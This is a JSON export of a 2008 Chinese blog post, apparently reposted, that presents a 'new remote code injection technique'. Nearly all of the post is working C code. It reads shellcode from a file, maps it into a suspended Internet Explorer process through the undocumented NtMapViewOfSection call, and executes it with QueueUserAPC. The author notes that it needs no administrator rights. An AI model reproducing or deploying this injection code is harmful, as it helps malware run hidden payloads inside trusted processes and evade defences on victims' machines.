{"id":18,"date":"2008-12-06T03:04:00","date_gmt":"2008-12-06T03:04:00","guid":{"rendered":"http:\/\/www.houquner.com\/?p=48"},"modified":"2008-12-06T03:04:00","modified_gmt":"2008-12-06T03:04:00","slug":"%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%b3%a8%e5%85%a5%e6%96%b0%e6%8a%80%e6%9c%afzz","status":"publish","type":"post","link":"https:\/\/www.houquner.com\/index.php\/archives\/18","title":{"rendered":"\u8fdc\u7a0b\u4ee3\u7801\u6ce8\u5165\u65b0\u6280\u672f(ZZ)"},"content":{"rendered":"<p>\u670b\u53cbyole\u5206\u4eab\u8fc7\u6765\u7684!!<br \/>\n\u7814\u7a76\u51fa\u4e86\u4e00\u79cd\u65b0\u7684\u5728\u8fdc\u7a0b\u8fdb\u7a0b\u4e2d\u6267\u884c\u4ee3\u7801\u7684\u53ef\u80fd\u6027\uff0c\u5c31\u662f\u5229\u7528\u4e00\u4e2a\u672a\u516c\u5f00\u51fd\u6570\u5728\u8fdc\u7a0b\u8fdb\u7a0b\u5730\u5740\u7a7a\u95f4\u5199\u5165\u4ee3\u7801\uff0c\u5e76\u4e14\u7528\u4e00\u79cd\u65b0\u7684\u6280\u672f\u5728\u8fdc\u7a0b\u8fdb\u7a0b\u4e2d\u6267\u884c\u5b83\uff0c\u8fd9\u79cd\u6280\u672f\u5b8c \u5168\u5de5\u4f5c\u5728\u7528\u6237\u6a21\u5f0f\u4e0b\uff0c\u5e76\u4e14\u4e0d\u9700\u8981\u7279\u6b8a\u7684\u6761\u4ef6\u6bd4\u5982\u50cf\u7ba1\u7406\u5458\u6743\u9650\u6216\u8005\u4e4b\u7c7b\u7684\u8981\u6c42\u3002\u8ba9\u6e90\u7801\u8bf4\u660e\u4e00\u5207:(\u6211\u4e3a\u6211\u7684\u82f1\u6587\u6c34\u5e73\u611f\u5230\u62b1\u6b49,\u6211\u6765\u81ea\u5fb7\u56fd)<\/p>\n<p>CODE:<\/p>\n<h1>define _WIN32_WINNT 0x0400<\/h1>\n<h1>include &lt;windows.h&gt;<\/h1>\n<p>typedef LONG NTSTATUS, *PNTSTATUS;<\/p>\n<h1>define NT_SUCCESS(Status) ((NTSTATUS)(Status) &gt;= 0)<\/h1>\n<p>typedef enum _SECTION_INHERIT<br \/>\n{<br \/>\nViewShare = 1,<br \/>\nViewUnmap = 2<br \/>\n} SECTION_INHERIT;<\/p>\n<p>typedef NTSTATUS (__stdcall <em>func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER<\/em>, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );<\/p>\n<p>func_NtMapViewOfSection NtMapViewOfSection = NULL;<br \/>\nLPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,<br \/>\nDWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )<br \/>\n{<br \/>\nNTSTATUS Status;<br \/>\nLARGE_INTEGER SectionOffset;<br \/>\nULONG ViewSize;<br \/>\nULONG Protect;<br \/>\nLPVOID ViewBase;<br \/>\n\/\/ \u8f6c\u6362\u504f\u79fb\u91cf<\/p>\n<p>SectionOffset.LowPart = dwFileOffsetLow;<br \/>\nSectionOffset.HighPart = dwFileOffsetHigh;<\/p>\n<p>\/\/ \u4fdd\u5b58\u5927\u5c0f\u548c\u8d77\u59cb\u5730\u5740<\/p>\n<p>ViewBase = lpBaseAddress;<br \/>\nViewSize = dwNumberOfBytesToMap;<\/p>\n<p>\/\/ \u8f6c\u6362\u6807\u5fd7\u4e3aNT\u4fdd\u62a4\u5c5e\u6027<\/p>\n<p>if (dwDesiredAccess &amp; FILE_MAP_WRITE)<br \/>\n{<br \/>\nProtect = PAGE_READWRITE;<br \/>\n}<br \/>\nelse if (dwDesiredAccess &amp; FILE_MAP_READ)<br \/>\n{<br \/>\nProtect = PAGE_READONLY;<br \/>\n}<br \/>\nelse if (dwDesiredAccess &amp; FILE_MAP_COPY)<br \/>\n{<br \/>\nProtect = PAGE_WRITECOPY;<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nProtect = PAGE_NOACCESS;<br \/>\n}<\/p>\n<p>\/\/\u6620\u5c04\u533a\u6bb5<\/p>\n<p>Status = NtMapViewOfSection(hFileMappingObject,<br \/>\nhProcess,<br \/>\n&amp;ViewBase,<br \/>\n0,<br \/>\n0,<br \/>\n&amp;SectionOffset,<br \/>\n&amp;ViewSize,<br \/>\nViewShare,<br \/>\n0,<br \/>\nProtect);<br \/>\nif (!NT_SUCCESS(Status))<br \/>\n{<br \/>\n\/\/ \u5931\u8d25<\/p>\n<p>return NULL;<br \/>\n}<\/p>\n<p>\/\/\u8fd4\u56de\u8d77\u59cb\u5730\u5740<\/p>\n<p>return ViewBase;<br \/>\n}<\/p>\n<p>int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)<br \/>\n{<br \/>\nHMODULE hDll = LoadLibrary( &#8220;ntdll.dll&#8221; );<\/p>\n<p>NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, &#8220;NtMapViewOfSection&#8221;);<\/p>\n<p>\/\/ \u53d6ShellCode,\u4efb\u4f55\u4f60\u60f3\u5b9e\u73b0\u7684<\/p>\n<p>HANDLE hFile = CreateFile (&#8220;C:shellcode.txt&#8221;, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);<\/p>\n<p>HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);<\/p>\n<p>\/\/ \u542f\u52a8\u76ee\u6807\u8fdb\u7a0b<\/p>\n<p>STARTUPINFO st;<br \/>\nZeroMemory (&amp;st, sizeof(st));<br \/>\nst.cb = sizeof (STARTUPINFO);<\/p>\n<p>PROCESS_INFORMATION pi;<br \/>\nZeroMemory (&amp;pi, sizeof(pi));<\/p>\n<p>CreateProcess (&#8220;C:ProgrammeInternet Exploreriexplore.exe&#8221;, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &amp;st, &amp;pi);<br \/>\n\/\/ \u6ce8\u5165shellcode\u5230\u76ee\u6807\u8fdb\u7a0b\u5730\u5740\u7a7a\u95f4<\/p>\n<p>LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);<\/p>\n<p>\/\/ \u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u80fd\u591f\u5728\u76ee\u6807\u7ebf\u7a0b\u6062\u590d\u662f\u9996\u5148\u6267\u884c\u7684APC<\/p>\n<p>QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);<br \/>\nResumeThread (pi.hThread);<br \/>\nCloseHandle (hFile);<br \/>\nCloseHandle (hMappedFile);<br \/>\nCloseHandle (pi.hThread);<br \/>\nCloseHandle (pi.hProcess);<br \/>\nreturn 0;<br \/>\n}<\/p>\n<p>\u8f6c\u8f7d\u8bf7\u6ce8\u660e\uff1a<a href=\"https:\/\/www.houquner.com\">Kermit\u7684\u7f51\u7ad9<\/a> &raquo; <a href=\"https:\/\/www.houquner.com\/index.php\/archives\/18\">\u8fdc\u7a0b\u4ee3\u7801\u6ce8\u5165\u65b0\u6280\u672f(ZZ)<\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>\u670b\u53cbyole\u5206\u4eab\u8fc7\u6765\u7684!! \u7814\u7a76\u51fa\u4e86\u4e00\u79cd\u65b0\u7684\u5728\u8fdc\u7a0b\u8fdb\u7a0b\u4e2d\u6267\u884c\u4ee3\u7801\u7684\u53ef\u80fd\u6027\uff0c\u5c31\u662f\u5229\u7528\u4e00\u4e2a\u672a\u516c\u5f00\u51fd\u6570\u5728\u8fdc\u7a0b\u8fdb\u7a0b\u5730\u5740\u7a7a\u95f4\u5199\u5165\u4ee3\u7801\uff0c\u5e76\u4e14\u7528\u4e00\u79cd\u65b0\u7684\u6280\u672f\u5728\u8fdc\u7a0b\u8fdb\u7a0b\u4e2d\u6267\u884c\u5b83\uff0c\u8fd9\u79cd\u6280\u672f\u5b8c \u5168\u5de5\u4f5c\u5728\u7528\u6237\u6a21\u5f0f\u4e0b\uff0c\u5e76\u4e14\u4e0d\u9700\u8981\u7279\u6b8a\u7684\u6761\u4ef6\u6bd4\u5982\u50cf\u7ba1\u7406\u5458\u6743\u9650\u6216\u8005\u4e4b\u7c7b\u7684\u8981\u6c42\u3002\u8ba9\u6e90 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-18","post","type-post","status-publish","format-standard","hentry","category-technology"],"_links":{"self":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/posts\/18"}],"collection":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/comments?post=18"}],"version-history":[{"count":0,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/posts\/18\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/media?parent=18"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/categories?post=18"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/tags?post=18"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}